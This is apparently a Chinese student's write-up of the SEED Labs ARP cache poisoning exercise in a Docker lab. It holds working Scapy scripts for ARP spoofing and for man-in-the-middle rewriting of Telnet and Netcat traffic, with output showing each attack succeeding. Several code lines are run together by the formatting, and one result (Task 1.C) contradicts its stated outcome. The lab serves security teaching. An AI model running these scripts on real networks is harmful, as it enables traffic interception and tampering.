本文为 SEED Labs 2.0 - ARP Cache Poisoning Attack Lab 的实验记录。
文章目录
实验原理
地址解析协议 (ARP) 是一种通信协议,用于在给定 IP 地址的情况下发现链路层地址,例如 MAC 地址。ARP 协议是一个非常简单的协议,它没有实施任何安全措施。ARP 缓存中毒攻击是针对 ARP 协议的常见攻击。使用这种攻击,攻击者可以欺骗受害者接受伪造的 IP 到 MAC 映射。这可能会导致受害者的数据包被重定向到具有伪造 MAC 地址的计算机,从而导致潜在的中间人攻击。本实验的目的是获得有关 ARP 缓存中毒攻击的第一手经验,并了解此类攻击可能造成的损害。我们将使用 ARP 攻击发起中间人攻击,攻击者可以拦截和修改两个受害者 A 和 B 之间的数据包。本实验的另一个目的是练习数据包嗅探和欺骗技能,因为这些是网络安全中必不可少的技能,它们是许多网络攻击和防御工具的构建块。我们将使用 Scapy 执行实验室任务。本实验涵盖以下主题:
- ARP 协议
- ARP 缓存中毒攻击
- 中间人攻击
- Scapy 编程
Task 1: ARP Cache Poisoning
我们启动 docker:
$ dcbuild
$ dcup
启动对应的 shell 后,我们修改一下以便操作:
# export PS1="\w A-10.9.0.5$ "
# export PS1="\w B-10.9.0.6$ "
# export PS1="\w M-10.9.0.105$ "
Task 1.A using ARP request
首先查看三台机器的 ip 和 mac:
A-10.9.0.5$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
6: eth0@if7: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:0a:09:00:05 brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet 10.9.0.5/24 brd 10.9.0.255 scope global eth0
valid_lft forever preferred_lft forever
B-10.9.0.6$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
10: eth0@if11: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:0a:09:00:06 brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet 10.9.0.6/24 brd 10.9.0.255 scope global eth0
valid_lft forever preferred_lft forever
M-10.9.0.105$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
8: eth0@if9: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:0a:09:00:69 brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet 10.9.0.105/24 brd 10.9.0.255 scope global eth0
valid_lft forever preferred_lft forever
编写
arp.py
:
#!/usr/bin/python3 from scapy.allimport*
A_ip ="10.9.0.5"
A_mac ="02:42:0a:09:00:05"
B_ip ="10.9.0.6"
B_mac ="02:42:0a:09:00:06"
M_ip ="10.9.0.105"
M_mac ="02:42:0a:09:00:69"
eth = Ether(src=M_mac,dst='ff:ff:ff:ff:ff:ff')
arp = ARP(hwsrc=M_mac, psrc=B_ip,
hwdst=A_mac, pdst=A_ip,
op=1)
pkt = eth / arp
sendp(pkt)
这里的
A_ip
、
A_mac
等就是我们上面查看到的内容。
在
M
中运行:
M-10.9.0.105$ arp.py
.
Sent 1 packets.
通过 wireshark 抓包可以看到:
此时
A
中新增了 arp 记录:
A-10.9.0.5$ arp -n
Address HWtype HWaddress Flags Mask Iface
B-10.9.0.6.net-10.9.0.0 ether 02:42:0a:09:00:69 C eth0
说明我们的 arp 请求发送成功。
Task 1.B using ARP reply
修改程序:
#!/usr/bin/python3 from scapy.allimport*
A_ip ="10.9.0.5"
A_mac ="02:42:0a:09:00:05"
B_ip ="10.9.0.6"
B_mac ="02:42:0a:09:00:06"
M_ip ="10.9.0.105"
M_mac ="02:42:0a:09:00:69"
eth = Ether(src=M_mac,dst=A_mac)
arp = ARP(hwsrc=M_mac, psrc=B_ip,
hwdst=A_mac, pdst=A_ip,
op=2)
pkt = eth / arp
sendp(pkt)
Scenario 1:
B
’s IP is already in
A
’s cache.
首先,在
B
上 ping
A
:
B-10.9.0.6$ ping10.9.0.5 -c 1
PING 10.9.0.5 (10.9.0.5)56(84) bytes of data.
64 bytes from 10.9.0.5: icmp_seq=1ttl=64time=0.138 ms
--- 10.9.0.5 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev =0.138/0.138/0.138/0.000 ms
此时,
A
上看到:
A-10.9.0.5$ arp -n
Address HWtype HWaddress Flags Mask Iface
10.9.0.6 ether 02:42:0a:09:00:06 C eth0
然后运行:
M-10.9.0.105$ arp.py
.
Sent 1 packets.
抓包得到:
此时
A
上的记录被更新:
A-10.9.0.5$ arp -n
Address HWtype HWaddress Flags Mask Iface
10.9.0.6 ether 02:42:0a:09:00:69 C eth0
修改成功。
Scenario 2:
B
’s IP is not in
A
’s cache.
首先删除
A
的 arp 中关于
B
的记录:
A-10.9.0.5$ arp -d 10.9.0.6
然后再次运行:
M-10.9.0.105$ arp.py
.
Sent 1 packets.
抓包得到:
此时
A
上的记录没有变化:
A-10.9.0.5$ arp -n
可见 reply 消息只能更新内容,却不能新建。
Task 1.C using ARP gratuitous message
修改程序:
#!/usr/bin/python3 from scapy.allimport*
A_ip ="10.9.0.5"
A_mac ="02:42:0a:09:00:05"
B_ip ="10.9.0.6"
B_mac ="02:42:0a:09:00:06"
M_ip ="10.9.0.105"
M_mac ="02:42:0a:09:00:69"
eth = Ether(src=M_mac,dst='ff:ff:ff:ff:ff:ff')
arp = ARP(hwsrc=M_mac, psrc=B_ip,
hwdst='ff:ff:ff:ff:ff:ff', pdst=B_ip,
op=1)
pkt = eth / arp
sendp(pkt)
Scenario 1:
B
’s IP is already in
A
’s cache.
首先,在
B
上 ping
A
:
B-10.9.0.6$ ping10.9.0.5 -c 1
PING 10.9.0.5 (10.9.0.5)56(84) bytes of data.
64 bytes from 10.9.0.5: icmp_seq=1ttl=64time=0.138 ms
--- 10.9.0.5 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev =0.138/0.138/0.138/0.000 ms
此时,
A
上看到:
A-10.9.0.5$ arp -n
Address HWtype HWaddress Flags Mask Iface
10.9.0.6 ether 02:42:0a:09:00:06 C eth0
然后运行:
M-10.9.0.105$ arp.py
.
Sent 1 packets.
抓包得到:
此时
A
上的记录被更新:
A-10.9.0.5$ arp -n
Address HWtype HWaddress Flags Mask Iface
10.9.0.6 ether 02:42:0a:09:00:06 C eth0
修改成功。
Scenario 2: B’s IP is not in A’s cache.
首先删除
B
的记录:
A-10.9.0.5$ arp -d 10.9.0.6
然后再次运行:
M-10.9.0.105$ arp.py
.
Sent 1 packets.
抓包得到:
此时
A
上的记录没有变化:
A-10.9.0.5$ arp -n
可见该情况和 reply 的结果是一样的。
Task 2: MITM Attack on Telnet using ARP Cache Poisoning
Step 1 Launch the ARP cache poisoning attack
修改程序:
#!/usr/bin/python3
from scapy.all import *
A_ip ="10.9.0.5"
A_mac ="02:42:0a:09:00:05"
B_ip ="10.9.0.6"
B_mac ="02:42:0a:09:00:06"
M_ip ="10.9.0.105"
M_mac ="02:42:0a:09:00:69"
ethA = Ether(src=M_mac,dst=A_mac)
arpA = ARP(hwsrc=M_mac, psrc=B_ip,
hwdst=A_mac, pdst=A_ip,
op=2)
ethB = Ether(src=M_mac,dst=B_mac)
arpB = ARP(hwsrc=M_mac, psrc=A_ip,
hwdst=A_mac, pdst=B_ip,
op=2)while True:
pktA = ethA / arpA
sendp(pktA, count=1)
pktB = ethB / arpB
sendp(pktB, count=1)
time.sleep(5)
首先从
B
ping
A
并查看
A
的 arp 的变化:
B-10.9.0.6$ ping10.9.0.5 -c 1
PING 10.9.0.5 (10.9.0.5)56(84) bytes of data.
64 bytes from 10.9.0.5: icmp_seq=1ttl=64time=0.088 ms
--- 10.9.0.5 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev =0.088/0.088/0.088/0.000 ms
/ B-10.9.0.6$ arp -n
Address HWtype HWaddress Flags Mask Iface
10.9.0.5 ether 02:42:0a:09:00:05 C eth0
A-10.9.0.5$ arp -n
Address HWtype HWaddress Flags Mask Iface
10.9.0.6 ether 02:42:0a:09:00:06 C eth0
运行程序后再查看
A
的 arp 和
B
的 arp:
M-10.9.0.105$ arp.py
.
Sent 1 packets.
.
Sent 1 packets.
A-10.9.0.5$ arp -n
Address HWtype HWaddress Flags Mask Iface
10.9.0.6 ether 02:42:0a:09:00:69 C eth0
B-10.9.0.6$ arp -n
Address HWtype HWaddress Flags Mask Iface
10.9.0.5 ether 02:42:0a:09:00:69 C eth0
Step 2 Testing
首先关闭转发:
M-10.9.0.105$ sysctl net.ipv4.ip_forward=0
net.ipv4.ip_forward =0
然后运行:
M-10.9.0.105$ arp.py
.
Sent 1 packets.
.
Sent 1 packets.
A
和
B
互相 ping:
A-10.9.0.5$ ping10.9.0.6 -c 1
PING 10.9.0.6 (10.9.0.6)56(84) bytes of data.
--- 10.9.0.6 ping statistics ---
1 packets transmitted, 0 received, 100% packet loss, time 0ms
B-10.9.0.6$ ping10.9.0.5 -c 1
PING 10.9.0.5 (10.9.0.5)56(84) bytes of data.
--- 10.9.0.5 ping statistics ---
1 packets transmitted, 0 received, 100% packet loss, time 0ms
发现 ping 不通。
Step 3 Turn on IP forwarding
首先开启转发:
M-10.9.0.105$ sysctl net.ipv4.ip_forward=1
net.ipv4.ip_forward =1
然后运行:
M-10.9.0.105$ arp.py
.
Sent 1 packets.
.
Sent 1 packets.
A
和
B
互相 ping:
A-10.9.0.5$ ping10.9.0.6 -c 1
PING 10.9.0.6 (10.9.0.6)56(84) bytes of data.
64 bytes from 10.9.0.6: icmp_seq=1ttl=63time=0.122 ms
--- 10.9.0.6 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev =0.122/0.122/0.122/0.000 ms
B-10.9.0.6$ ping10.9.0.5 -c 1
PING 10.9.0.5 (10.9.0.5)56(84) bytes of data.
64 bytes from 10.9.0.5: icmp_seq=1ttl=63time=0.076 ms
--- 10.9.0.5 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev =0.076/0.076/0.076/0.000 ms
发现 ping 得通。
Step 4 Launch the MITM attack
保持 ip 转发开启,先运行:
M-10.9.0.105$ arp.py
.
Sent 1 packets.
.
Sent 1 packets.
然后开启 telnet:
A-10.9.0.5$ telnet 10.9.0.6
Trying 10.9.0.6...
Connected to 10.9.0.6.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
1ec98edb592d login: seed
Password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-54-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
This system has been minimized by removing packages and content that are
not required on a system that usersdo not log into.
To restore this content, you can run the 'unminimize' command.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
seed@1ec98edb592d:~$
然后关闭 ip 转发:
M-10.9.0.105$ sysctl net.ipv4.ip_forward=0
net.ipv4.ip_forward =0
此时,在
A
中输入内容,无法显示。
编写
sniff_and spoof.py
:
#!/usr/bin/env python3from scapy.allimport*import re
IP_A ="10.9.0.5"
MAC_A ="02:42:0a:09:00:05"
IP_B ="10.9.0.6"
MAC_B ="02:42:0a:09:00:06"defspoof_pkt(pkt):if pkt[IP].src == IP_A and pkt[IP].dst == IP_B:
newpkt = IP(bytes(pkt[IP]))del(newpkt.chksum)del(newpkt[TCP].payload)del(newpkt[TCP].chksum)if pkt[TCP].payload:
data = pkt[TCP].payload.load
data = data.decode()
newdata = re.sub(r'[a-zA-Z]',r'Z', data)print(data +" ==> "+ newdata)
send(newpkt/newdata, verbose=False)else:
send(newpkt, verbose=False)elif pkt[IP].src == IP_B and pkt[IP].dst == IP_A:
newpkt = IP(bytes(pkt[IP]))del(newpkt.chksum)del(newpkt[TCP].chksum)
send(newpkt, verbose=False)
f ='tcp and (ether src 02:42:0a:09:00:05 or ether src 02:42:0a:09:00:06)'
pkt = sniff(filter=f, prn=spoof_pkt)
运行:
M-10.9.0.105$ sniff_and_spoof.py
在
A
中输入任意内容,可以看到,全部改成了 Z:
seed@1ec98edb592d:~$ ZZZZZ
M
中显示:
M-10.9.0.105$ sniff_and_spoof.py
l ==> Z
s ==> Z
==>
攻击成功。
Task 3: MITM Attack on Netcat using ARP Cache Poisoning
保持
arp.py
运行,然后
B
开启端口监听:
B-10.9.0.6$ nc -lp 9090
A
连接
B
:
A-10.9.0.5$ nc10.9.0.6 9090
此时,两者可以正常通信。
修改
sniff_and spoof.py
:
#!/usr/bin/env python3from scapy.allimport*import re
IP_A ="10.9.0.5"
MAC_A ="02:42:0a:09:00:05"
IP_B ="10.9.0.6"
MAC_B ="02:42:0a:09:00:06"defspoof_pkt(pkt):if pkt[IP].src == IP_A and pkt[IP].dst == IP_B:
newpkt = IP(bytes(pkt[IP]))del(newpkt.chksum)del(newpkt[TCP].payload)del(newpkt[TCP].chksum)if pkt[TCP].payload:
data = pkt[TCP].payload.load
newdata = data.replace(b'Chenyang',b'Yangchen')print(str(data)+" ==> "+str(newdata))
newpkt[IP].len= pkt[IP].len+len(newdata)-len(data)
send(newpkt/newdata, verbose=False)else:
send(newpkt, verbose=False)elif pkt[IP].src == IP_B and pkt[IP].dst == IP_A:
newpkt = IP(bytes(pkt[IP]))del(newpkt.chksum)del(newpkt[TCP].chksum)
send(newpkt, verbose=False)
f ='tcp and (ether src 02:42:0a:09:00:05 or ether src 02:42:0a:09:00:06)'
pkt = sniff(filter=f, prn=spoof_pkt)
运行:
M-10.9.0.105$ sniff_and_spoof.py
重新在
A
中发送:
A-10.9.0.5$ nc10.9.0.6 9090
aaa
Chenyang
B
中收到:
B-10.9.0.6$ nc -lp 9090
aaa
Yangchen
M
显示:
M-10.9.0.105$ sniff_and_spoof.py
b'aaa\n'==> b'aaa\n'
b'Chenyang\n'==> b'Yangchen\n'
可以看到,只要输入我的名字,就会被替换掉。
实验总结
本实验内容较为简单,需要注意的是每一个任务中源 mac、源 ip、目的 mac、目的 ip 以及 op 不要搞错了。
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